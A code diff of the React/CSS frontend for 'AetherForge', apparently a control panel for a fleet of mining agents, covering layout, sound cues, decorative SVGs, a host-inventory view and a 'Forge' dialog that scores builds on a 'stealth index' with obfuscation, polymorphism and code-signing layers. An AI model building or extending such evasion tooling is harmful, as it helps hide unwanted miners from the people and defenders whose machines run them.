value={`${c.name ?? 'CPU'} · ${c.cores ?? '?'}c/${c.logical ?? '?'}t · ${c.current_mhz ?? '?'}/${c.max_mhz ?? '?'} MHz`}
/>
))}
{report.hardware?.gpus?.map((g, i) => (
<Row key={i} label={`GPU ${i + 1}`} value={`${g.name ?? 'GPU'} · driver ${g.driver ?? '—'} · ${g.vram_mb ?? 0} MB`} />
))}
{report.hardware?.disks?.map((d, i) => (
<Row
key={i}
label={`Disk ${d.mount ?? i}`}
value={`${d.free_gb ?? '?'} / ${d.total_gb ?? '?'} GB free (${d.free_pct ?? '?'}%) ${d.fs_type ?? ''}`}
/>
))}
</Section>
<Section title="Identity &amp; Agent">
<Row label="Hostname" value={report.hostname} />
<Row label="OS" value={report.os_version} />
<Row label="User" value={report.identity?.username} />
<Row label="Domain" value={report.identity?.domain} />
<Row label="Computer" value={report.identity?.computer_name} />
<Row label="MAC" value={report.identity?.mac_address} />
<Row label="Worker / Build" value={`${report.worker_name ?? '—'} / ${report.build_id ?? '—'}`} />
<Row label="Install Dir" value={report.environment?.install_dir} />
</Section>
<Section title="Live Resources">
<Row label="CPU Freq" value={report.resources?.cpu_freq_mhz != null ? `${report.resources.cpu_freq_mhz} MHz` : undefined} />
<Row label="Throttle" value={<BoolBadge v={report.resources?.cpu_throttle} yes="YES" no="no" />} />
<Row label="CPU Temp" value={report.resources?.cpu_temp_c != null ? `${report.resources.cpu_temp_c}°C` : undefined} />
<Row
label="Disk (miner vol)"
value={
report.resources?.disk_free_pct != null
? `${report.resources.disk_free_gb} / ${report.resources.disk_total_gb} GB (${report.resources.disk_free_pct}%)`
: undefined
}
/>
<Row label="GPU" value={report.resources?.gpu_usage_pct != null ? `${report.resources.gpu_usage_pct}% · ${report.resources.gpu_temp_c ?? '?'}°C` : undefined} />
</Section>
<Section title="Listeners">
<Row label="Open TCP ports" value={report.listen_ports?.count} />
{report.listen_ports?.ports && report.listen_ports.ports.length > 0 && (
<div className="syscheck-table-wrap">
<table className="syscheck-table">
<thead>
<tr>
<th>Port</th>
<th>Bind</th>
<th>Process</th>
</tr>
</thead>
<tbody>
{report.listen_ports.ports.slice(0, 40).map((p, i) => (
<tr key={i}>
<td>{p.port}</td>
<td>{p.addr}</td>
<td>{p.process || p.pid}</td>
</tr>
))}
</tbody>
</table>
</div>
)}
</Section>
<Section title="Interfaces">
{report.network?.interfaces?.map((iface, i) => (
<div key={i} className="syscheck-iface">
<strong>{iface.name}</strong> {iface.mac && <span className="syscheck-muted"> {iface.mac}</span>}
{iface.ipv4?.map((ip) => (
<div key={ip} className="syscheck-muted">
{ip}
</div>
))}
</div>
))}
{report.network?.routes_summary && (
<>
<div className="syscheck-k syscheck-subhead">Routes</div>
<pre className="syscheck-pre">{report.network.routes_summary}</pre>
</>
)}
</Section>
</div>
{(report.raw_sysinfo || report.raw_ipconfig || report.raw_netstat) && (
<details className="syscheck-raw">
<summary className="font-tech">Raw dumps (sysinfo / ipconfig / netstat)</summary>
{report.raw_sysinfo && (
<>
<div className="syscheck-k">systeminfo / uname</div>
<pre className="syscheck-pre">{report.raw_sysinfo}</pre>
</>
)}
{report.raw_ipconfig && (
<>
<div className="syscheck-k">ipconfig / ip addr</div>
<pre className="syscheck-pre">{report.raw_ipconfig}</pre>
</>
)}
{report.raw_netstat && (
<>
<div className="syscheck-k">netstat</div>
<pre className="syscheck-pre">{report.raw_netstat}</pre>
</>
)}
</details>
)}
{report.probe_errors && report.probe_errors.length > 0 && (
<div className="syscheck-errors">
{report.probe_errors.map((e, i) => (
<div key={i}>{e}</div>
))}
</div>
)}
</div>
);
}

View File

@@ -0,0 +1,221 @@
.forge-dispense-backdrop {
position: fixed;
inset: 0;
z-index: 1200;
display: flex;
align-items: center;
justify-content: center;
background: rgba(4, 8, 18, 0.82);
backdrop-filter: blur(8px);
animation: forge-dispense-fade 0.4s ease;
}
.forge-dispense-panel {
position: relative;
max-width: 420px;
width: 92%;
padding: 2rem 1.75rem 1.5rem;
border-radius: 16px;
border: 1px solid rgba(120, 200, 255, 0.35);
background: linear-gradient(165deg, rgba(12, 22, 42, 0.97), rgba(6, 12, 28, 0.98));
box-shadow:
0 0 60px rgba(80, 160, 255, 0.15),
inset 0 1px 0 rgba(255, 255, 255, 0.06);
text-align: center;
animation: forge-dispense-rise 0.55s cubic-bezier(0.22, 1, 0.36, 1);
}
.forge-dispense-sigil {
width: 72px;
height: 72px;
margin: 0 auto 1rem;
border-radius: 50%;
background:
radial-gradient(circle at 50% 50%, rgba(100, 200, 255, 0.25), transparent 55%),
conic-gradient(
from 0deg,
rgba(100, 180, 255, 0.5),
rgba(180, 120, 255, 0.4),
rgba(100, 200, 255, 0.5)
);
mask: radial-gradient(circle, transparent 38%, black 39%);
animation: forge-dispense-spin 12s linear infinite;
}
.forge-dispense-title {
margin: 0 0 0.35rem;
font-size: 1.5rem;
letter-spacing: 0.12em;
text-transform: uppercase;
color: #b8e4ff;
}
.forge-dispense-sub {
margin: 0 0 1.25rem;
font-size: 0.9rem;
color: rgba(200, 220, 255, 0.75);
line-height: 1.45;
}
.forge-dispense-shield {
display: flex;
align-items: center;
justify-content: center;
gap: 1rem;
margin-bottom: 1.25rem;
}
.forge-dispense-shield-ring {
--shield-pct: 50%;
width: 88px;
height: 88px;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
background: conic-gradient(
#3d9eff calc(var(--shield-pct) * 1%),
rgba(60, 80, 120, 0.35) 0
);
position: relative;
}
.forge-dispense-shield-ring::before {
content: '';
position: absolute;
inset: 6px;
border-radius: 50%;
background: rgba(8, 14, 28, 0.95);
}
.forge-dispense-shield-value {
position: relative;
z-index: 1;
font-size: 1.75rem;
font-weight: 700;
color: #7ec8ff;
}
.forge-dispense-shield-label {
text-align: left;
display: flex;
flex-direction: column;
gap: 0.2rem;
font-size: 0.85rem;
color: rgba(180, 210, 255, 0.9);
}
.forge-dispense-shield-hint {
font-size: 0.72rem;
opacity: 0.65;
}
.forge-dispense-dna {
margin-bottom: 1rem;
padding: 0.75rem;
border-radius: 10px;
background: rgba(0, 0, 0, 0.25);
border: 1px solid rgba(100, 160, 255, 0.2);
}
.forge-dispense-dna-label {
display: block;
font-size: 0.7rem;
letter-spacing: 0.15em;
text-transform: uppercase;
color: rgba(150, 200, 255, 0.7);
margin-bottom: 0.35rem;
}
.forge-dispense-dna-hash {
font-size: 0.95rem;
color: #9ee0ff;
letter-spacing: 0.08em;
}
.forge-dispense-dna-bars {
display: flex;
align-items: flex-end;
justify-content: center;
gap: 3px;
height: 48px;
margin-top: 0.6rem;
}
.forge-dispense-dna-bar {
width: 6px;
min-height: 4px;
border-radius: 2px 2px 0 0;
background: linear-gradient(180deg, #6eb8ff, #3a6a9e);
opacity: 0.85;
animation: forge-dispense-bar 0.6s ease backwards;
}
.forge-dispense-dna-bar:nth-child(odd) {
animation-delay: 0.05s;
}
.forge-dispense-layers {
list-style: none;
margin: 0 0 1.25rem;
padding: 0;
display: flex;
flex-wrap: wrap;
gap: 0.4rem;
justify-content: center;
}
.forge-dispense-layers li {
font-size: 0.72rem;
padding: 0.25rem 0.55rem;
border-radius: 999px;
border: 1px solid rgba(80, 120, 180, 0.35);
color: rgba(140, 160, 200, 0.7);
}
.forge-dispense-layers li.on {
border-color: rgba(100, 200, 255, 0.55);
color: #a8dcff;
box-shadow: 0 0 12px rgba(80, 160, 255, 0.2);
}
.forge-dispense-actions {
display: flex;
flex-direction: column;
gap: 0.5rem;
}
@keyframes forge-dispense-fade {
from {
opacity: 0;
}
to {
opacity: 1;
}
}
@keyframes forge-dispense-rise {
from {
opacity: 0;
transform: translateY(24px) scale(0.96);
}
to {
opacity: 1;
transform: translateY(0) scale(1);
}
}
@keyframes forge-dispense-spin {
to {
transform: rotate(360deg);
}
}
@keyframes forge-dispense-bar {
from {
transform: scaleY(0);
}
to {
transform: scaleY(1);
}
}

View File

@@ -0,0 +1,91 @@
import { useEffect } from 'react';
import type { BuildResponse } from '../../types';
import { useSound } from '../../context/SoundContext';
import DownloadButton from '../DownloadButton';
import './ForgeDispenseReveal.css';
interface Props {
result: BuildResponse;
onClose: () => void;
}
function dnaBars(fingerprint?: string): number[] {
const raw = fingerprint || 'aetherforge';
const bars: number[] = [];
for (let i = 0; i < 24; i++) {
const c = raw.charCodeAt(i % raw.length);
bars.push(12 + ((c * (i + 3)) % 88));
}
return bars;
}
export default function ForgeDispenseReveal({ result, onClose }: Props) {
const { play } = useSound();
const score = result.stealth_score ?? 0;
const bars = dnaBars(result.binary_fingerprint);
useEffect(() => {
play('success');
}, [play]);
return (
<div className="forge-dispense-backdrop" role="dialog" aria-labelledby="forge-dispense-title">
<div className="forge-dispense-panel">
<div className="forge-dispense-sigil" aria-hidden />
<h2 id="forge-dispense-title" className="forge-dispense-title">
Dispensed
</h2>
<p className="forge-dispense-sub">
{result.file_name || 'Your worker'} is ready each forge carries a unique binary signature.
</p>
<div className="forge-dispense-shield">
<div
className="forge-dispense-shield-ring"
style={{ ['--shield-pct' as string]: `${score}%` }}
>
<span className="forge-dispense-shield-value">{score}</span>
</div>
<div className="forge-dispense-shield-label">
<span>Stealth index</span>
<span className="forge-dispense-shield-hint">Polymorph · Garble · Sigil · Sign</span>
</div>
</div>
{result.binary_fingerprint && (
<div className="forge-dispense-dna">
<span className="forge-dispense-dna-label">Binary DNA</span>
<code className="forge-dispense-dna-hash">{result.binary_fingerprint}</code>
<div className="forge-dispense-dna-bars" aria-hidden>
{bars.map((h, i) => (
<span key={i} className="forge-dispense-dna-bar" style={{ height: `${h}%` }} />
))}
</div>
</div>
)}
<ul className="forge-dispense-layers">
<li className={result.obfuscated ? 'on' : ''}>Garble obfuscation</li>
<li className={result.sigil_scramble ? 'on' : ''}>Sigil scramble</li>
<li className={result.signed ? 'on' : ''}>Authenticode sign</li>
<li className="on">Polymorph weave</li>
</ul>
<div className="forge-dispense-actions">
{result.download_url && result.file_name && (
<DownloadButton
apiPath={result.download_url}
filename={result.file_name}
className="btn btn-primary"
>
Take the forge
</DownloadButton>
)}
<button type="button" className="btn btn-outline" onClick={onClose}>
Continue forging
</button>
</div>
</div>
</div>
);
}

View File

@@ -442,39 +442,4 @@
z-index: 1;
}
@media (max-width: 768px) {
.sidebar {
width: 72px;
}
.logo-text-block,
.nav-label,
.fleet-readout,
.sidebar-sig,
.matrix-rain-wrap {
display: none;
}
.sidebar-header {
padding: 1rem 0.5rem;
justify-content: center;
}
.logo {
justify-content: center;
}
.nav-item {
justify-content: center;
padding: 0.85rem;
}
.main-with-status {
margin-left: 72px;
}
.main-content {
margin-left: 0;
padding: 1rem;
}
}
/* Mobile layout: bottom nav + top bar — see MobileNav.css and layout--mobile */

View File

@@ -3,10 +3,18 @@ import { NavLink, useLocation } from 'react-router-dom';
import AmbientBackground from '../Ambient/AmbientBackground';
import SystemStatusBar from '../Visual/SystemStatusBar';
import { useWebSocket } from '../../hooks/useWebSocket';
import { useIsMobileLayout } from '../../hooks/useMediaQuery';
import MatrixRain from './MatrixRain';
import afLogo from '../../assets/af-logo.png';
import CursorFire from '../Visual/CursorFire';
import SacredGeometryLayer from '../Visual/sacredGeometry/SacredGeometryLayer';
import { SacredMotif } from '../Visual/sacredGeometry/motifs';
import SetupBanner from '../SetupBanner';
import { getSetupStatus } from '../../help/setupStatus';
import { api } from '../../api/client';
import type { ServerConfig } from '../../types';
import './Layout.css';
import './MobileNav.css';
interface LayoutProps {
children: ReactNode;
@@ -20,8 +28,14 @@ const NAV = [
{ to: '/builds', label: 'Builds', icon: 'builds' },
{ to: '/guide', label: 'Field Guide', icon: 'guide' },
{ to: '/settings', label: 'Calibrate', icon: 'gear' },
{ to: '/pathtracer', label: 'Path Tracer', icon: 'trace' },
] as const;
/** Primary tabs on iPhone bottom bar */
const MOBILE_PRIMARY = NAV.slice(0, 4);
/** Builds, Guide, Calibrate, Path Tracer — “More” sheet */
const MOBILE_MORE = NAV.slice(4);
function NavIcon({ type }: { type: string }) {
switch (type) {
case 'deck':
@@ -71,6 +85,16 @@ function NavIcon({ type }: { type: string }) {
<path d="M10 12l1.5 2L14 11" />
</svg>
);
case 'trace':
return (
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
<circle cx="4" cy="12" r="2" />
<circle cx="12" cy="6" r="2" />
<circle cx="20" cy="12" r="2" />
<path d="M6 12h4l2-6 2 6h4" />
<path d="M12 8v4" />
</svg>
);
default:
return (
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
@@ -135,14 +159,59 @@ function FleetReadout() {
);
}
function MobileTopStats() {
const { agents } = useWebSocket();
const online = agents.filter((a) => a.status === 'online').length;
const total = agents.length;
const hr = agents.reduce((s, a) => s + (a.hashrate_15s ?? a.hashrate_15m ?? 0), 0);
return (
<div className="mobile-top-stats">
<strong>
{online}/{total} online
</strong>
<span>{hr > 0 ? formatHashrate(hr) : 'IDLE'}</span>
</div>
);
}
export default function Layout({ children }: LayoutProps) {
const location = useLocation();
const isMobile = useIsMobileLayout();
const [serverConfig, setServerConfig] = useState<ServerConfig | null>(null);
const [moreOpen, setMoreOpen] = useState(false);
useEffect(() => {
api.getConfig().then(setServerConfig).catch(() => {});
}, []);
useEffect(() => {
setMoreOpen(false);
}, [location.pathname]);
useEffect(() => {
if (!moreOpen) return;
const prev = document.body.style.overflow;
document.body.style.overflow = 'hidden';
return () => {
document.body.style.overflow = prev;
};
}, [moreOpen]);
const setupStatus = getSetupStatus(serverConfig);
const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
const mobileShortLabel: Record<string, string> = {
'/dashboard': 'Deck',
'/agents': 'Fleet',
'/crucible': 'Ops',
'/forge': 'Forge',
};
return (
<div className="layout">
<CursorFire />
<div className={`layout${isMobile ? ' layout--mobile' : ''}`}>
{!isMobile && <CursorFire />}
<AmbientBackground />
<nav className="sidebar">
<SacredGeometryLayer />
<nav className="sidebar sidebar--desktop desktop-only">
<div className="sidebar-header">
<div className="logo">
<div className="logo-emblem">
@@ -172,6 +241,10 @@ export default function Layout({ children }: LayoutProps) {
))}
</div>
<div className="sidebar-sacred-sigil" aria-hidden>
<SacredMotif name="flower" opacity={0.6} />
</div>
{/* Matrix rain log — fills the lower sidebar between nav and footer */}
<MatrixRain />
@@ -184,10 +257,72 @@ export default function Layout({ children }: LayoutProps) {
</div>
</nav>
<div className="main-with-status">
{isMobile && (
<header className="mobile-top-bar">
<img src={afLogo} alt="" className="mobile-top-logo" />
<span className="mobile-top-title">AetherForge</span>
<MobileTopStats />
</header>
)}
<div className={`main-with-status${isMobile ? ' main-with-status--mobile' : ''}`}>
<SystemStatusBar />
<SetupBanner status={setupStatus} />
<main className="main-content">{children}</main>
</div>
{isMobile && (
<>
{moreOpen && (
<div
className="mobile-menu-backdrop"
role="presentation"
onClick={() => setMoreOpen(false)}
/>
)}
<div className={`mobile-more-sheet${moreOpen ? ' open' : ''}`}>
{MOBILE_MORE.map((item) => (
<NavLink
key={item.to}
to={item.to}
className={({ isActive }) => `mobile-more-link${isActive ? ' active' : ''}`}
onClick={() => setMoreOpen(false)}
>
<NavIcon type={item.icon} />
{item.label}
</NavLink>
))}
</div>
<nav className="mobile-bottom-nav" aria-label="Main navigation">
{MOBILE_PRIMARY.map((item) => (
<NavLink
key={item.to}
to={item.to}
className={({ isActive }) =>
`mobile-bottom-nav-item${isActive ? ' active' : ''}`
}
>
<NavIcon type={item.icon} />
{mobileShortLabel[item.to] ?? item.label}
</NavLink>
))}
<button
type="button"
className={`mobile-bottom-nav-item${moreActive ? ' active' : ''}`}
aria-expanded={moreOpen}
aria-label="More pages"
onClick={() => setMoreOpen((o) => !o)}
>
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
<circle cx="12" cy="5" r="1.5" fill="currentColor" />
<circle cx="12" cy="12" r="1.5" fill="currentColor" />
<circle cx="12" cy="19" r="1.5" fill="currentColor" />
</svg>
More
</button>
</nav>
</>
)}
</div>
);
}

View File

@@ -0,0 +1,182 @@
/* Mobile top bar + bottom nav (see Layout.tsx) */
.mobile-only {
display: none;
}
@media (max-width: 768px) {
.mobile-only {
display: flex;
}
.desktop-only {
display: none !important;
}
}
.mobile-top-bar {
display: none;
position: fixed;
top: 0;
left: 0;
right: 0;
z-index: 110;
align-items: center;
gap: 0.65rem;
padding: 0.5rem 0.75rem;
background: rgba(8, 6, 4, 0.96);
border-bottom: 1px solid var(--border-brass);
backdrop-filter: blur(12px);
}
.layout--mobile .mobile-top-bar {
display: flex;
}
.mobile-top-logo {
width: 36px;
height: 36px;
border-radius: 50%;
object-fit: contain;
}
.mobile-top-title {
font-family: var(--font-display);
font-size: 0.95rem;
font-weight: 700;
color: var(--brass-light);
letter-spacing: 0.04em;
}
.mobile-top-stats {
margin-left: auto;
font-family: var(--font-tech);
font-size: 0.65rem;
color: var(--neon-cyan);
letter-spacing: 0.06em;
text-align: right;
line-height: 1.35;
}
.mobile-top-stats span {
display: block;
color: var(--text-muted);
font-size: 0.55rem;
}
.layout--mobile .main-with-status {
padding-top: 52px;
}
.mobile-bottom-nav {
display: none;
position: fixed;
bottom: 0;
left: 0;
right: 0;
z-index: 110;
align-items: stretch;
justify-content: space-around;
gap: 0;
background: rgba(8, 6, 4, 0.98);
border-top: 1px solid var(--border-brass);
backdrop-filter: blur(16px);
box-shadow: 0 -4px 24px rgba(0, 0, 0, 0.45);
}
.layout--mobile .mobile-bottom-nav {
display: flex;
}
.mobile-bottom-nav-item {
flex: 1;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
gap: 0.15rem;
padding: 0.4rem 0.2rem;
min-height: 52px;
color: var(--text-muted);
text-decoration: none;
font-size: 0.55rem;
font-weight: 600;
letter-spacing: 0.03em;
border: none;
background: transparent;
cursor: pointer;
-webkit-tap-highlight-color: transparent;
}
.mobile-bottom-nav-item svg {
width: 1.25rem;
height: 1.25rem;
}
.mobile-bottom-nav-item.active,
.mobile-bottom-nav-item:hover {
color: var(--neon-cyan);
}
.mobile-bottom-nav-item.active {
background: rgba(0, 245, 255, 0.08);
}
.mobile-menu-backdrop {
position: fixed;
inset: 0;
z-index: 115;
background: rgba(0, 0, 0, 0.55);
backdrop-filter: blur(2px);
}
.mobile-more-sheet {
position: fixed;
left: 0;
right: 0;
bottom: calc(52px + env(safe-area-inset-bottom, 0px));
z-index: 120;
max-height: 55vh;
overflow-y: auto;
-webkit-overflow-scrolling: touch;
background: rgba(12, 10, 8, 0.98);
border-top: 1px solid var(--border-brass);
padding: 0.5rem;
display: flex;
flex-direction: column;
gap: 0.25rem;
transform: translateY(100%);
opacity: 0;
pointer-events: none;
transition: transform 0.25s ease, opacity 0.2s ease;
}
.mobile-more-sheet.open {
transform: translateY(0);
opacity: 1;
pointer-events: auto;
}
.mobile-more-link {
display: flex;
align-items: center;
gap: 0.75rem;
padding: 0.85rem 1rem;
border-radius: 4px;
color: var(--text-secondary);
text-decoration: none;
font-size: 0.95rem;
font-weight: 600;
min-height: 48px;
}
.mobile-more-link.active {
background: rgba(0, 245, 255, 0.1);
color: var(--neon-cyan);
}
.mobile-more-link svg {
width: 1.35rem;
height: 1.35rem;
flex-shrink: 0;
}

View File

@@ -1,4 +1,5 @@
import { ReactNode, CSSProperties } from 'react';
import SacredCardWatermark from '../Visual/sacredGeometry/SacredCardWatermark';
import './NeonCard.css';
type Accent = 'cyan' | 'magenta' | 'amber' | 'green' | 'purple' | 'brass' | 'gold';
@@ -26,6 +27,7 @@ export default function NeonCard({
style={style}
>
<div className="neon-card-rim" />
<SacredCardWatermark accent={accent} />
{children}
</div>
);

View File

@@ -1,7 +1,10 @@
import { useEffect, useState, type ReactNode } from 'react';
import { getStoredAuth, setStoredAuth } from '../api/auth';
import { useSound } from '../context/SoundContext';
import { FlowerOfLifeWatermark, KnowledgeKey } from './Visual/sacredGeometry/motifs';
export default function SessionGate({ children }: { children: ReactNode }) {
const { play } = useSound();
const [ready, setReady] = useState(false);
const [authed, setAuthed] = useState(!!getStoredAuth());
const [user, setUser] = useState('');
@@ -34,10 +37,12 @@ export default function SessionGate({ children }: { children: ReactNode }) {
const res = await fetch('/api/v1/config', { headers: { Authorization: `Basic ${token}` } });
if (!res.ok) {
setErr('Login failed — check username and password.');
play('error');
return;
}
setStoredAuth(user, pass);
setAuthed(true);
play('success');
} catch {
setErr('Cannot reach server — check that miner-server is running.');
}
@@ -46,6 +51,9 @@ export default function SessionGate({ children }: { children: ReactNode }) {
if (!ready) {
return (
<div className="session-gate">
<div className="session-gate-sacred-ring" aria-hidden>
<FlowerOfLifeWatermark opacity={0.5} />
</div>
<p className="font-tech">Starting AetherForge</p>
</div>
);
@@ -54,6 +62,17 @@ export default function SessionGate({ children }: { children: ReactNode }) {
if (!authed) {
return (
<div className="session-gate">
<div className="session-gate-sacred-ring" aria-hidden>
<FlowerOfLifeWatermark opacity={0.5} />
</div>
<div className="session-gate-keys" aria-hidden>
<div className="session-gate-key session-gate-key--tl">
<KnowledgeKey opacity={0.55} />
</div>
<div className="session-gate-key session-gate-key--br">
<KnowledgeKey opacity={0.45} />
</div>
</div>
<form className="session-gate-card card" onSubmit={handleLogin}>
<h1 className="font-display">AetherForge</h1>
<p className="form-hint">Sign in to open the command deck.</p>
@@ -72,6 +91,9 @@ export default function SessionGate({ children }: { children: ReactNode }) {
<button type="submit" className="btn btn-primary btn-lg">
Enter Command Deck
</button>
<p className="session-gate-whisper" aria-hidden>
ψ · the deck remembers every key
</p>
</form>
</div>
);

View File

@@ -0,0 +1,73 @@
import { useEffect, useRef } from 'react';
import { useSound } from '../../context/SoundContext';
import { useWebSocket } from '../../hooks/useWebSocket';
import type { FleetAlert, WSMessage } from '../../types';
import type { WSCommandResult } from '../../types/ws';
const SHARE_MIN_MS = 2500;
const CMD_RESULT_MIN_MS = 600;
const SILENT_CMD_ACTIONS = new Set(['get_log', 'wg_status', 'mesh_status']);
/**
* Plays fleet/event cues from the shared dashboard WebSocket (not UI clicks).
*/
export default function SoundBridge() {
const { enabled, play } = useSound();
const { isConnected, latestMessage } = useWebSocket();
const wasConnected = useRef<boolean | null>(null);
const lastShareAt = useRef(0);
const lastCmdAt = useRef(0);
const lastMsgRef = useRef<WSMessage | null>(null);
useEffect(() => {
if (!enabled) return;
if (wasConnected.current === null) {
wasConnected.current = isConnected;
return;
}
if (wasConnected.current !== isConnected) {
play(isConnected ? 'connect' : 'disconnect');
wasConnected.current = isConnected;
}
}, [isConnected, enabled, play]);
useEffect(() => {
if (!enabled || !latestMessage || latestMessage === lastMsgRef.current) return;
lastMsgRef.current = latestMessage;
switch (latestMessage.type) {
case 'agent_online':
play('online');
break;
case 'agent_offline':
play('offline');
break;
case 'new_share': {
const now = Date.now();
if (now - lastShareAt.current >= SHARE_MIN_MS) {
lastShareAt.current = now;
play('share');
}
break;
}
case 'fleet_alert': {
const alert = latestMessage.payload as FleetAlert;
play(alert.level === 'error' ? 'alertCritical' : 'alert');
break;
}
case 'command_result': {
const p = latestMessage.payload as WSCommandResult;
if (p.action && SILENT_CMD_ACTIONS.has(p.action)) break;
const now = Date.now();
if (now - lastCmdAt.current < CMD_RESULT_MIN_MS) break;
lastCmdAt.current = now;
play(p.success ? 'success' : 'error');
break;
}
default:
break;
}
}, [latestMessage, enabled, play]);
return null;
}

View File

@@ -125,6 +125,7 @@ export default function CursorFire() {
return (
<canvas
ref={canvasRef}
className="cursor-fire-fx"
style={{
position: 'fixed',
inset: 0,

View File

@@ -364,6 +364,24 @@
color: var(--neon-green);
}
@media (max-width: 768px) {
.system-status-bar {
flex-wrap: nowrap;
overflow-x: auto;
-webkit-overflow-scrolling: touch;
scrollbar-width: none;
}
.system-status-bar::-webkit-scrollbar {
display: none;
}
.status-pill {
flex-shrink: 0;
white-space: nowrap;
}
}
@media (max-width: 640px) {
.compare-grid {
grid-template-columns: 1fr;

View File

@@ -73,12 +73,12 @@ interface ActivityPulseProps {
items: { id: string; label: string; ok: boolean; time?: string }[];
}
export function ActivityPulse({ items }: ActivityPulseProps) {
export function ActivityPulse({ items, sample = false }: ActivityPulseProps & { sample?: boolean }) {
if (items.length === 0) {
return <p className="activity-empty font-tech">Awaiting fleet activity</p>;
}
return (
<div className="activity-pulse">
<div className={`activity-pulse${sample ? ' sample-activity' : ''}`}>
{items.slice(0, 12).map((item) => (
<div key={item.id} className={`activity-blip ${item.ok ? 'ok' : 'bad'}`} title={item.time || item.label}>
<span className="activity-blip-core" />

View File

@@ -0,0 +1,29 @@
import { SacredMotif, type MotifName } from './motifs';
const ACCENT_MOTIFS: Record<string, [MotifName, MotifName]> = {
cyan: ['hex', 'seed'],
magenta: ['vesica', 'yantra'],
amber: ['spiral', 'key'],
green: ['seed', 'hex'],
purple: ['metatron', 'torus'],
brass: ['flower', 'key'],
gold: ['yantra', 'spiral'],
};
/** Corner watermarks inside neon cards */
export default function SacredCardWatermark({ accent = 'brass' }: { accent?: string }) {
const [tl, br] = ACCENT_MOTIFS[accent] ?? ACCENT_MOTIFS.brass;
return (
<>
<div className="neon-card-sacred neon-card-sacred--tl" aria-hidden>
<SacredMotif name={tl} opacity={0.5} />
</div>
<div className="neon-card-sacred neon-card-sacred--tr" aria-hidden>
<SacredMotif name="seed" opacity={0.35} />
</div>
<div className="neon-card-sacred neon-card-sacred--br" aria-hidden>
<SacredMotif name={br} opacity={0.45} />
</div>
</>
);
}

View File

@@ -0,0 +1,17 @@
/* Layer-specific overrides (shared tokens in sacred-geometry.css) */
.sacred-layer__corner--mid-l {
transform: translateY(-50%);
}
.sacred-layer__corner--mid-r {
transform: translateY(-50%);
}
.sacred-layer__corner--mid-l svg,
.sacred-layer__corner--mid-r svg {
animation: sacred-geo-rotate 220s linear infinite;
}
.sacred-layer__corner--mid-r svg {
animation-direction: reverse;
}

View File

@@ -0,0 +1,50 @@
import { SacredMotif } from './motifs';
import './SacredGeometryLayer.css';
/** Viewport-wide sacred geometry — corners, keys, wisdom rail */
export default function SacredGeometryLayer() {
return (
<div className="sacred-layer" aria-hidden>
<div className="sacred-layer__corner sacred-layer__corner--tl">
<SacredMotif name="metatron" opacity={0.55} />
</div>
<div className="sacred-layer__corner sacred-layer__corner--tr">
<SacredMotif name="yantra" opacity={0.5} />
</div>
<div className="sacred-layer__corner sacred-layer__corner--bl">
<SacredMotif name="spiral" opacity={0.5} />
</div>
<div className="sacred-layer__corner sacred-layer__corner--br">
<SacredMotif name="key" opacity={0.55} />
</div>
<div className="sacred-layer__corner sacred-layer__corner--mid-l">
<SacredMotif name="vesica" opacity={0.45} />
</div>
<div className="sacred-layer__corner sacred-layer__corner--mid-r">
<SacredMotif name="torus" opacity={0.45} />
</div>
<div className="sacred-layer__keys">
<span className="sacred-key sacred-key--1" title="Shell index">
</span>
<span className="sacred-key sacred-key--2" title="Ley ledger">
</span>
<span className="sacred-key sacred-key--3" title="Root chord">
</span>
<span className="sacred-key sacred-key--4" title="Archive gate">
ψ
</span>
</div>
<div className="sacred-layer__wisdom-rail font-tech" title="Whispers from the deck">
<span>Ω</span>
<span></span>
<span></span>
<span></span>
</div>
</div>
);
}

View File

@@ -0,0 +1,20 @@
import type { ReactNode } from 'react';
import { SacredMotif } from './motifs';
/** Optional sacred divider + motif beside page titles */
export default function SacredPageHeader({
children,
className = '',
}: {
children: ReactNode;
className?: string;
}) {
return (
<header className={`page-header page-header--sacred ${className}`.trim()}>
{children}
<div className="page-header-sacred-motif" aria-hidden>
<SacredMotif name="hex" opacity={0.55} />
</div>
</header>
);
}

View File

@@ -0,0 +1,292 @@
/** Reusable sacred-geometry SVG motifs — decorative only (aria-hidden at call sites). */
type MotifProps = {
className?: string;
stroke?: string;
opacity?: number;
};
const DEFAULT_STROKE = '#c9a227';
export function FlowerOfLifeWatermark({ className = '', stroke = DEFAULT_STROKE, opacity = 0.55 }: MotifProps) {
const cx = 50;
const cy = 50;
const R = 32;
const petalAngles = [0, 60, 120, 180, 240, 300];
const petals = petalAngles.map((deg) => {
const rad = (deg * Math.PI) / 180;
return { x: cx + R * Math.cos(rad), y: cy + R * Math.sin(rad) };
});
const starR = R * 1.15;
const starPts = Array.from({ length: 5 }, (_, i) => {
const rad = ((i * 72 - 90) * Math.PI) / 180;
return { x: cx + starR * Math.cos(rad), y: cy + starR * Math.sin(rad) };
});
const starPath = starPts.map((p, i) => (i === 0 ? `M${p.x},${p.y}` : `L${p.x},${p.y}`)).join(' ') + ' Z';
const triR = R * 0.7;
const triUp = [0, 120, 240]
.map((d) => {
const rad = ((d - 90) * Math.PI) / 180;
return `${cx + triR * Math.cos(rad)},${cy + triR * Math.sin(rad)}`;
})
.join(' ');
const triDown = [60, 180, 300]
.map((d) => {
const rad = ((d - 90) * Math.PI) / 180;
return `${cx + triR * Math.cos(rad)},${cy + triR * Math.sin(rad)}`;
})
.join(' ');
return (
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<g opacity={opacity}>
<circle cx={cx} cy={cy} r={R * 1.35} fill="none" stroke={stroke} strokeWidth="0.18" strokeDasharray="1.2 1.8" />
<circle cx={cx} cy={cy} r={R} fill="none" stroke={stroke} strokeWidth="0.22" />
<circle cx={cx} cy={cy} r={R * 0.5} fill="none" stroke={stroke} strokeWidth="0.18" strokeDasharray="0.6 1.2" />
{petals.map((p, i) => (
<circle key={i} cx={p.x} cy={p.y} r={R} fill="none" stroke={stroke} strokeWidth="0.16" opacity="0.7" />
))}
<path d={starPath} fill="none" stroke="#ff8c00" strokeWidth="0.2" strokeLinejoin="round" opacity="0.6" />
<polygon points={triUp} fill="none" stroke={stroke} strokeWidth="0.2" opacity="0.8" />
<polygon points={triDown} fill="none" stroke={stroke} strokeWidth="0.2" opacity="0.8" />
